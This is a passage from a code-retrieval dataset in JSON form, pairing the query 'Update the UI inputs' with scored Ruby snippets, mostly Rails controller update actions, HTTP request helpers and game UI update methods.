"text": "def update\n @agronomiadecanato = Agronomiadecanato.find(params[:id])\n\n respond_to do |format|\n if @agronomiadecanato.update_attributes(params[:agronomiadecanato])\n format.html { redirect_to @agronomiadecanato, notice: 'Agronomiadecanato was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agronomiadecanato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1199911e0288c4bc1d958bcad8d02bb8",
"score": "0.58927023",
"text": "def update\n respond_to do |format|\n if @conteo.update(conteo_params)\n format.html { redirect_to @conteo, notice: 'Conteo was successfully updated.' }\n format.json { render :show, status: :ok, location: @conteo }\n else\n format.html { render :edit }\n format.json { render json: @conteo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a332ecf971c500cc7aa6e606e5acf85",
"score": "0.58853173",
"text": "def update\n respond_to do |format|\n if @cha2.update(cha2_params)\n format.html { redirect_to @cha2, notice: 'Cha2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @cha2 }\n else\n format.html { render :edit }\n format.json { render json: @cha2.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1372856b45a7a924dc31b72a27db0324",
"score": "0.5882836",
"text": "def patch(path, params: {}, body: {})\n request(:patch, path, params: params, body: body)\n end",
"title": ""
},
{
"docid": "8a1fcbdae3046e2102f533f681b61c66",
"score": "0.58824915",
"text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend",
"title": ""
},
{
"docid": "769d86257383708d09a54ad486babaee",
"score": "0.58791435",
"text": "def update\n @cotacao = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacao.update_attributes(params[:cotacao])\n format.html { redirect_to [:admin, @cotacao], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cotacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "61f1daf095a795c2d797321aae83de08",
"score": "0.58745056",
"text": "def update\n respond_to do |format|\n if @cola.update(cola_params)\n format.html { redirect_to @cola, notice: 'Cola was successfully updated.' }\n format.json { render :show, status: :ok, location: @cola }\n else\n format.html { render :edit }\n format.json { render json: @cola.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23938c68ef9abf0f7f952b2be1a5b0e8",
"score": "0.58722305",
"text": "def update\n @pelicula = Pelicula.find(params[:id])\n @pelicula.update(update_params)\n render json: @pelicula, status: :ok\n end",
"title": ""
},
{
"docid": "b119e51db0ec07a9ac62437251af7f3d",
"score": "0.5865331",
"text": "def update\n @cotacoes = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacoes.update_attributes(params[:contato])\n format.html { redirect_to [:admin, @cotacoes], notice: 'Contato was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cotacoes.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afeef70520ccd6d66dd25dd496aac24d",
"score": "0.5861153",
"text": "def update\n respond_to do |format|\n if @fabrica.update(fabrica_params)\n format.html { redirect_to @fabrica, notice: 'Fabrica atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fabrica.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68385947d27ec95099d8c10f00a15539",
"score": "0.5860432",
"text": "def update\n @amigo = Amigo.find(params[:id])\n\n respond_to do |format|\n if @amigo.update_attributes(params[:amigo])\n format.html { redirect_to @amigo, notice: 'Amigo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @amigo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc13bceeaf0b11d1ffd3b39dee24906b",
"score": "0.58600026",
"text": "def update\n @canchas_futbol = CanchasFutbol.find(params[:id])\n\n respond_to do |format|\n if @canchas_futbol.update_attributes(params[:canchas_futbol])\n format.html { redirect_to @canchas_futbol, notice: 'Canchas futbol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @canchas_futbol.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8526bda945752e27df3ffdba1b7efea0",
"score": "0.5858856",
"text": "def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend",
"title": ""
},
{
"docid": "7a4364b1f51380044bc211ed404a0e8a",
"score": "0.58543265",
"text": "def update\n respond_to do |format|\n if @a1c.update(a1c_params)\n format.html { redirect_to @a1c, notice: 'A1c was successfully updated.' }\n format.json { render :show, status: :ok, location: @a1c }\n else\n format.html { render :edit }\n format.json { render json: @a1c.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6cbbddc73e7fbb152fae713f712777b3",
"score": "0.5853932",
"text": "def update\n update_resource(@tomato)\n end",
"title": ""
},
{
"docid": "f09b3d8e1c4b2637086a5570d36ac1b1",
"score": "0.58525",
"text": "def put(path, body, options = {})\r\n options[:body] = body\r\n json_request('PUT', path, options)\r\n end",
"title": ""
},
{
"docid": "1b43604bd409d8c4644421c395d71320",
"score": "0.5849058",
"text": "def update\n\t\t\t\trender json: {}, status: 405\n\t\t\tend",
"title": ""
},
{
"docid": "4971fd8e40d96a4a24e576c600c8df3b",
"score": "0.5847564",
"text": "def update\n @aula = Aula.find(params[:id])\n\n respond_to do |format|\n if @aula.update_attributes(params[:aula])\n format.html { redirect_to @aula, notice: 'Aula alterada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aula.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caf41179c4cbff0602c1a281c336832a",
"score": "0.58467895",
"text": "def update\n respond_to do |format|\n if @comarca.update(comarca_params)\n format.html { redirect_to @comarca, notice: 'Comarca foi atualizado(a) com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @comarca.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "79ac38b86d1a1914688014d581523dc1",
"score": "0.5842557",
"text": "def update\n @cancha_futbol = CanchaFutbol.find(params[:id])\n\n respond_to do |format|\n if @cancha_futbol.update_attributes(params[:cancha_futbol])\n format.html { redirect_to @cancha_futbol, notice: 'Cancha futbol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cancha_futbol.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a565cef00d6874eb6d07052cd70dfab",
"score": "0.5841614",
"text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end",
"title": ""
},
{
"docid": "3eeada2a66f5b60ca71aca81ef05eab7",
"score": "0.5839661",
"text": "def update\n @composante = Composante.find(params[:id])\n\n respond_to do |format|\n if @composante.update_attributes(params[:composante])\n format.html { redirect_to @composante, notice: 'Composante was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @composante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3790d814a36a5a88f9dea5b0d7d99da9",
"score": "0.5838773",
"text": "def update # PATCH '/movements/:movement_id/guides/:id' => 'guides#update'\n render json: @guide, status: 200 if @guide.update_attributes(permitted_attributes(@guide))\n end",
"title": ""
},
{
"docid": "66312773e751e59b09375409fa05422c",
"score": "0.5837105",
"text": "def update\n @cuna = Cuna.find(params[:id])\n\n respond_to do |format|\n if @cuna.update_attributes(params[:cuna])\n format.html { redirect_to @cuna, notice: 'Cuna was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cuna.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ff34a6085a381f39a42179ae500a4dd",
"score": "0.5834766",
"text": "def update\n @cavale = Cavale.find(params[:id])\n\n respond_to do |format|\n if @cavale.update_attributes(params[:cavale])\n format.html { redirect_to @cavale, notice: 'Cavale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cavale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8aa174acf4eed6060f8981e151e8c9fd",
"score": "0.5831208",
"text": "def update\n respond_to do |format|\n if @ato.update(ato_params)\n format.html { redirect_to @ato, notice: 'Ato was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fbd7c46b15ae2792fd842ba0d764b7d0",
"score": "0.58288944",
"text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end",
"title": ""
},
{
"docid": "d94e2274a1eab829193add06b0008551",
"score": "0.5825371",
"text": "def update\n respond_to do |format|\n if @kotoba.update(kotoba_params)\n format.html { redirect_to @kotoba, notice: 'Kotoba was successfully updated.' }\n format.json { render :show, status: :ok, location: @kotoba }\n else\n format.html { render :edit }\n format.json { render json: @kotoba.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dcf30dcdafc43524fb4195b4ce841322",
"score": "0.5823405",
"text": "def update\n respond_to do |format|\n if @chamado.update(chamado_params)\n format.html { redirect_to @chamado, notice: 'Chamado was successfully updated.' }\n format.json { render :show, status: :ok, location: @chamado }\n else\n format.html { render :edit }\n format.json { render json: @chamado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f818eaeb886f8a98338afed43356ab2",
"score": "0.5822506",
"text": "def update\n return unless force_group(\"root\")\n @fachschaft = Fachschaft.find(params[:id])\n\n respond_to do |format|\n if @fachschaft.update_attributes(params[:fachschaft])\n format.html { redirect_to @fachschaft, notice: 'Fachschaft was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fachschaft.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ee5e29ef62a6e95122a8f5d94e1d50d",
"score": "0.5815837",
"text": "def put(path, params = {})\n request :put, path, params\n end",
"title": ""
},
{
"docid": "10e5658c5efa7f24de3a2566157cc5b6",
"score": "0.5814185",
"text": "def update\n @tarefa = Tarefa.find(params[:id])\n titulo = params[:tarefa][:titulo]\n descricao = params[:tarefa][:descricao]\n prazo = params[:tarefa][:prazo]\n\n respond_to do |format|\n if @tarefa.update(:titulo => titulo, :descricao => descricao, :prazo => prazo)\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca9fd5f1d76d6a1a8f9b0a89c64e0aa5",
"score": "0.5814181",
"text": "def post_update(params)\n @client.post(\"#{path}/update\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"title": ""
},
{
"docid": "1fa22556a525c8f14fd5b2d4245d586b",
"score": "0.5813487",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to @conta, notice: 'Conta was successfully updated.' }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dab2db358677ca3a6c670e4af04e3e29",
"score": "0.5810415",
"text": "def update\n respond_to do |format|\n if @childern.update(childern_params)\n format.html { redirect_to @childern, notice: 'Childern was successfully updated.' }\n format.json { render :show, status: :ok, location: @childern }\n else\n format.html { render :edit }\n format.json { render json: @childern.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
ae54d3e7fc649b92cb91d04c47016333 | Update the UI inputs | [
{
"docid": "9d33d48670b4a234a4cf83d45b81c679",
"score": "0.62916124",
"text": "def update_inputs\n return action_A if Input.trigger?(:A)\n return action_X if Input.trigger?(:X)\n return action_Y if Input.trigger?(:Y)\n return action_B if Input.trigger?(:B)\n return false if @page_id\n\n if @state == 0 # Liste\n max_index = @selected_pokemons.size - 1\n if index_changed(:@index, :UP, :DOWN, max_index)\n update_index\n elsif index_changed!(:@index, :LEFT, :RIGHT, max_index)\n 9.times { index_changed!(:@index, :LEFT, :RIGHT, max_index) }\n update_index\n elsif Mouse.wheel != 0\n @index = (@index - Mouse.wheel) % (max_index + 1)\n Mouse.wheel = 0\n update_index\n end\n elsif @state == 1 # Description\n max_index = @selected_pokemons.size - 1\n update_index_descr if index_changed(:@index, :UP, :DOWN, max_index)\n elsif @state == 2\n @pokemon_worldmap.update\n end\n end",
"title": ""
}
] | [
{
"docid": "eaa39df71d540d8e9dd45cefb4f57e9a",
"score": "0.72589564",
"text": "def update\n\t\t@state.update\n\t\tclear_text_input_assign\n\tend",
"title": ""
},
{
"docid": "761c55b9cd7c2ed4e2dee74d4b1f0d19",
"score": "0.7137175",
"text": "def update_input\n @input.clear\n @input.move(maxy - 3, 0)\n @input.box('|', '-')\n end",
"title": ""
},
{
"docid": "022d23ca104ba64dbb8acb04a0b4a9ea",
"score": "0.7107237",
"text": "def update_basic\n Graphics.update\n Input.update\n end",
"title": ""
},
{
"docid": "3c4a3f7de314a017691938fdbe961666",
"score": "0.7045436",
"text": "def update_inputs_view\n case @index\n when 0, 1\n update_inputs_basic\n when 2\n update_inputs_skill_ui\n end\n return true\n end",
"title": ""
},
{
"docid": "1af16739c4b980820ee625a038a653fa",
"score": "0.6913498",
"text": "def update_only_input\n end",
"title": ""
},
{
"docid": "178e6b0730b3416a94764fed69aa1fe0",
"score": "0.6642553",
"text": "def update_inputs\n @inputs_current, @inputs_old = @inputs_old, @inputs_current\n @inputs_current.replace(@inputs_next)\n return nil\n end",
"title": ""
},
{
"docid": "a32b779ba1e46da949dfc1bf99e2a969",
"score": "0.65581775",
"text": "def update_input\n process_mouse_click if Mouse.trigger?(:mouse_left)\n process_button_A if Input.trigger?(:A)\n on_quit_button if Input.trigger?(:B)\n end",
"title": ""
},
{
"docid": "6fbc5089e05b11ffdfa6ca12502b88c5",
"score": "0.65271974",
"text": "def update_input\n return if disallow_input?\n self.class.button_down_mapping.each do |id, callback|\n call_block_or_array(callback) if button_down?(id)\n end\n end",
"title": ""
},
{
"docid": "9215245659645478edceb93555a40b11",
"score": "0.65186995",
"text": "def update\n @buttons.each(&:update)\n end",
"title": ""
},
{
"docid": "06d15fe8f9093ed061dbd465d55627f3",
"score": "0.64773047",
"text": "def update_no_input\n end",
"title": ""
},
{
"docid": "06d15fe8f9093ed061dbd465d55627f3",
"score": "0.64773047",
"text": "def update_no_input\n end",
"title": ""
},
{
"docid": "10f58c04f35e1ca30825284011f335ee",
"score": "0.6437964",
"text": "def update(data)\n @ui.update_data data\n end",
"title": ""
},
{
"docid": "da63345424fc9aecef032928485bd149",
"score": "0.6417465",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "0e78fd5718e68d4584687b4e8b7d068a",
"score": "0.63969356",
"text": "def update\n\t\t \t\n\t\t end",
"title": ""
},
{
"docid": "cbd9871d7a4a96568d392f4f34246d9e",
"score": "0.6389052",
"text": "def update!(**args)\n @button_list = args[:button_list] if args.key?(:button_list)\n @date_time_picker = args[:date_time_picker] if args.key?(:date_time_picker)\n @decorated_text = args[:decorated_text] if args.key?(:decorated_text)\n @divider = args[:divider] if args.key?(:divider)\n @grid = args[:grid] if args.key?(:grid)\n @image = args[:image] if args.key?(:image)\n @selection_input = args[:selection_input] if args.key?(:selection_input)\n @text_input = args[:text_input] if args.key?(:text_input)\n @text_paragraph = args[:text_paragraph] if args.key?(:text_paragraph)\n end",
"title": ""
},
{
"docid": "29cb1f88ed7e087565c8a704ce07f1f8",
"score": "0.6378649",
"text": "def update\n\t\t\tprocess_timers\n\t\t\tprocess_inputs(@game_window)\n @representations.each { |representation| representation.update }\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.63650334",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.63650334",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.63650334",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.63650334",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.63650334",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.63556176",
"text": "def update\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.63556176",
"text": "def update\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.63556176",
"text": "def update\n end",
"title": ""
},
{
"docid": "033111e01353cfb424a9530d19da6fd2",
"score": "0.6337598",
"text": "def update\r\n end",
"title": ""
},
{
"docid": "033111e01353cfb424a9530d19da6fd2",
"score": "0.6337598",
"text": "def update\r\n end",
"title": ""
},
{
"docid": "c92b836366addefa3304aa00c2cf8fc7",
"score": "0.63187456",
"text": "def update\n #\n end",
"title": ""
},
{
"docid": "99d70475561c5443de910034e850b8c6",
"score": "0.6310916",
"text": "def update\n # update choice sprite\n @choice.update\n # update skill window\n @skill_window.update\n # update item window\n @item_window.update\n # move by 2 or 1 whether active in direction depending on @up_mode\n @choice.oy += (@up_mode ? (@active ? 2 : 1) : (@active ? -2 : -1))\n # set new @up_mode if necesseray depending on @up_mode\n @up_mode = (@up_mode ? (@choice.oy < 8) : (@choice.oy <= -8))\n # if select button pressed\n if Input.trigger?(Input::Select)\n # switch to next actor\n @skill_window.switch_actor\n # if active\n elsif @active\n # set choice offset always to a number dividable with 2\n @choice.oy = @choice.oy / 2 * 2\n # update hotkey selection\n update_choice\n # if skill window is active\n elsif @skill_window.active\n # update skill selection\n update_skill\n # if item window is active\n elsif @item_window.active\n # update item selection\n update_item\n end\n end",
"title": ""
},
{
"docid": "99d70475561c5443de910034e850b8c6",
"score": "0.6310916",
"text": "def update\n # update choice sprite\n @choice.update\n # update skill window\n @skill_window.update\n # update item window\n @item_window.update\n # move by 2 or 1 whether active in direction depending on @up_mode\n @choice.oy += (@up_mode ? (@active ? 2 : 1) : (@active ? -2 : -1))\n # set new @up_mode if necesseray depending on @up_mode\n @up_mode = (@up_mode ? (@choice.oy < 8) : (@choice.oy <= -8))\n # if select button pressed\n if Input.trigger?(Input::Select)\n # switch to next actor\n @skill_window.switch_actor\n # if active\n elsif @active\n # set choice offset always to a number dividable with 2\n @choice.oy = @choice.oy / 2 * 2\n # update hotkey selection\n update_choice\n # if skill window is active\n elsif @skill_window.active\n # update skill selection\n update_skill\n # if item window is active\n elsif @item_window.active\n # update item selection\n update_item\n end\n end",
"title": ""
},
{
"docid": "a90b32c8c19e75174d09fa3829557451",
"score": "0.63051516",
"text": "def update\n @buttonPvAi.update\n @buttonPvP.update\n @buttonReturn.update\n end",
"title": ""
},
{
"docid": "cb2162d3a1fd3434effd12aa702f250f",
"score": "0.62893355",
"text": "def update() end",
"title": ""
},
{
"docid": "6f73c9f2f91312101766646c892f121b",
"score": "0.62860686",
"text": "def update\r\n\r\n end",
"title": ""
},
{
"docid": "1e1d699d633fb9df0603cf04f875bd96",
"score": "0.62689847",
"text": "def update_ui\r\n if @ip_start.valid?\r\n Sketchup.status_text = 'Pick Opposite Corner.'\r\n else\r\n Sketchup.status_text = 'Pick Start Point.'\r\n end\r\n end",
"title": ""
},
{
"docid": "2c2cf293acacdfb2c8f91a022e357468",
"score": "0.62640125",
"text": "def update\n\t\t@enable.update\n\t\tif @enable.checked\n\t\t\t@name.update\n\t\t\t@colour.update\n\t\t\t@controls.update \n\t\tend\n\tend",
"title": ""
},
{
"docid": "f402bec0b71f321ed7b77af1bf7e1a2e",
"score": "0.6256712",
"text": "def update\n end",
"title": ""
},
{
"docid": "f402bec0b71f321ed7b77af1bf7e1a2e",
"score": "0.6256712",
"text": "def update\n end",
"title": ""
},
{
"docid": "938252aaf127e7603408eb3bbc6ef987",
"score": "0.6255086",
"text": "def update\n return false if empty?\n\n Vedeu.log(message: \"Interface in focus: '#{current}'\".freeze)\n\n refresh\n\n current\n end",
"title": ""
},
{
"docid": "530f3f86544470990b6523748f383073",
"score": "0.62509346",
"text": "def input_update\n #--------------------------------------\n # general button input updating, this needs to be initialized in a timely mater,\n # which is why it's object is created here in update\n #print_input_keys if @PRINT_INPUT_KEY\n #--------------------------------------\n # prevent same character but diffrent case on shift usage for input return\n unless self.holding?(:shift)\n @input_wait -= 1 if @input_wait > 0\n end\n # sometimes keys are depressed and released very quickly (i.e. Mouse Wheel functions) and need extra time to register amongst classes.\n if @input_lag > 0\n @input_lag -= 1\n else\n #--------------------------------------\n # update input array of buttons being held down.\n @buttons_down = @buttons_down - @buttons_up # remove buttons held down if they where released.\n # add any key triggers to class @triggered at the same time so each class using trigger? get a chance to check shared input keys\n @triggered = @triggered + @triggers\n @triggers = []\n # clear any triggers when the key that was triggered is released\n @buttons_up.each { |id|\n if @triggered.include?(id)\n @triggered.delete(id)\n end\n }\n @buttons_up = [] # will hold onto all recent button releases unless cleared.\n end\n end",
"title": ""
},
{
"docid": "4a03dc34a3ba73e78106ad224c3fe703",
"score": "0.6250713",
"text": "def update!(**args)\n @bottom_label = args[:bottom_label] if args.key?(:bottom_label)\n @button = args[:button] if args.key?(:button)\n @end_icon = args[:end_icon] if args.key?(:end_icon)\n @icon = args[:icon] if args.key?(:icon)\n @on_click = args[:on_click] if args.key?(:on_click)\n @start_icon = args[:start_icon] if args.key?(:start_icon)\n @switch_control = args[:switch_control] if args.key?(:switch_control)\n @text = args[:text] if args.key?(:text)\n @top_label = args[:top_label] if args.key?(:top_label)\n @wrap_text = args[:wrap_text] if args.key?(:wrap_text)\n end",
"title": ""
},
{
"docid": "6249943d1eeff63f8f611fcf73254058",
"score": "0.6241793",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "d60f3f0f14b3a741cff250b60f4476ab",
"score": "0.62384254",
"text": "def update\n @buttonClassic.update\n @buttonOtto.update\n @questionOtto.update\n @questionClassic.update\n @buttonLoadSave.update\n @buttonLeaderboards.update\n\n end",
"title": ""
},
{
"docid": "3f2e52d985579ba42ded0832d8349610",
"score": "0.62353426",
"text": "def update\n \t\n end",
"title": ""
},
{
"docid": "4f4718edfad30079be392c2657976c21",
"score": "0.6232987",
"text": "def update_input\n @input.value = color_panel.to_css\n render\n end",
"title": ""
},
{
"docid": "f2fc1d9bfe7b834ddf32e7821cf1c7d4",
"score": "0.6229507",
"text": "def update\n return unless @visible\n @controls.each(&:update)\n end",
"title": ""
},
{
"docid": "28209ee0aa3e250a92993c5783dadeb1",
"score": "0.6227624",
"text": "def update\n end",
"title": ""
},
{
"docid": "7f7caa950da4ecaa12c98fe12e79b887",
"score": "0.62232053",
"text": "def update_outputs\n end",
"title": ""
},
{
"docid": "37c62e59abed8d689a99142be5802519",
"score": "0.6215003",
"text": "def update\n\t\t@button.update\n\tend",
"title": ""
},
{
"docid": "603a3ed4cd6f53fb057274575561583e",
"score": "0.6189197",
"text": "def update_number_input_window\n @number_input_window.update\n end",
"title": ""
},
{
"docid": "de753d56f6821f4a5a3a4d6646e3b8c3",
"score": "0.61716807",
"text": "def update_join_game\n\n if @name_input_textbox.active\n @name_input_textbox.update\n if Input.trigger?(Input::DOWN)\n @ipaddress_textbox.active = true\n @name_input_textbox.active = false\n return\n end\n elsif @ipaddress_textbox.active\n @ipaddress_textbox.update\n if Input.trigger?(Input::DOWN)\n @port_textbox.active = true\n @ipaddress_textbox.active = false\n return\n elsif Input.trigger?(Input::UP)\n @name_input_textbox.active = true\n @ipaddress_textbox.active = false\n return\n end\n else\n @port_textbox.update\n if Input.trigger?(Input::UP)\n @ipaddress_textbox.active = true\n @port_textbox.active = false\n return\n end\n end\n \n if @name_input_textbox.clicked_on?\n @name_input_textbox.active = true\n @ipaddress_textbox.active = false\n @port_textbox.active = false\n elsif @ipaddress_textbox.clicked_on?\n @name_input_textbox.active = false\n @ipaddress_textbox.active = true\n @port_textbox.active = false\n elsif @port_textbox.clicked_on?\n @name_input_textbox.active = false\n @ipaddress_textbox.active = false\n @port_textbox.active = true\n end\n \n if Input.trigger?(Input::Key['Enter'])\n if @ipaddress_textbox.text.scan(/\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/) == []\n return\n end\n @phase = 3\n @user_logger.visible = true\n @name_input_textbox.active = false\n @ipaddress_textbox.active = false\n @port_textbox.active = false\n \n @name_input_textbox.visible = false\n @name_input_label.visible = false\n @ipaddress_textbox.visible = false\n @ipaddress_label.visible = false\n @port_textbox.visible = false\n @port_label.visible = false\n end\n \n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.615812",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "007f976d25ffbdde53e6c6cd23cc1a12",
"score": "0.6157366",
"text": "def update\n end",
"title": ""
},
{
"docid": "a6f0ac60422a106db74c83388079eb51",
"score": "0.61537",
"text": "def update_text_field(sender)\n demo_label.stringValue = demo_textfield.stringValue\n debug \"Label text updated with new text:\\n #{demo_textfield.stringValue}\"\n end",
"title": ""
},
{
"docid": "3dff33d69a0ddbac167097213890afbb",
"score": "0.61480224",
"text": "def update\n # update choice sprite\n @choice.update\n # update skill window\n @skill_window.update\n # update item window\n @item_window.update\n # update hotkey assignment display if existing\n @hotkeys.update if @hotkeys != nil\n # move by 2 or 1 whether active in direction depending on @up_mode\n @choice.oy += (@up_mode ? (@active ? 2 : 1) : (@active ? -2 : -1))\n # set new @up_mode if necesseray depending on @up_mode\n @up_mode = (@up_mode ? (@choice.oy < 8) : (@choice.oy <= -8))\n # if select button pressed\n if $game_system.select_button && Input.trigger?(Input::Select)\n # play sound\n $game_system.se_play($data_system.cursor_se)\n # switch to next actor\n $BlizzABS.player.switch_leader\n # switch to next actor\n @skill_window.switch_actor\n # update HUD if existing\n @hud.update if @hud != nil\n # update hotkey assignment display if existing\n @hotkeys.update if @hotkeys != nil\n # if active\n elsif @active\n # set choice offset always to a number divisable with 2\n @choice.oy = @choice.oy / 2 * 2\n # update hotkey selection\n update_choice\n # if skill window is active\n elsif @skill_window.active\n # update skill selection\n update_skill\n # if item window is active\n elsif @item_window.active\n # update item selection\n update_item\n end\n end",
"title": ""
},
{
"docid": "cf09a3997212df0a5fc4fbf509596e7e",
"score": "0.6142745",
"text": "def update\n super\n update_pick_command\n update_key_position\n update_pick_position if @haspicks\n end",
"title": ""
},
{
"docid": "12e1597e481ec381e6d25eee9321c997",
"score": "0.6128399",
"text": "def update\n\t end",
"title": ""
},
{
"docid": "cb3f5312c0ad8a8187f54e4563389018",
"score": "0.6122749",
"text": "def update\r\n\r\n end",
"title": ""
},
{
"docid": "7c2b1f6aab869f1d871ffab56f883862",
"score": "0.61179477",
"text": "def update\n initialize if @viewport.disposed?\n @main_ui.update\n end",
"title": ""
},
{
"docid": "056167f6cefa60d9d300fb7308eadc4d",
"score": "0.6104395",
"text": "def update\n @_layer.update\n #@_solids_manager.update\n EventHandlers::Buttons.update\n Menu.update\n end",
"title": ""
},
{
"docid": "6649e23ae4dd426f80be1bf4c834b4a8",
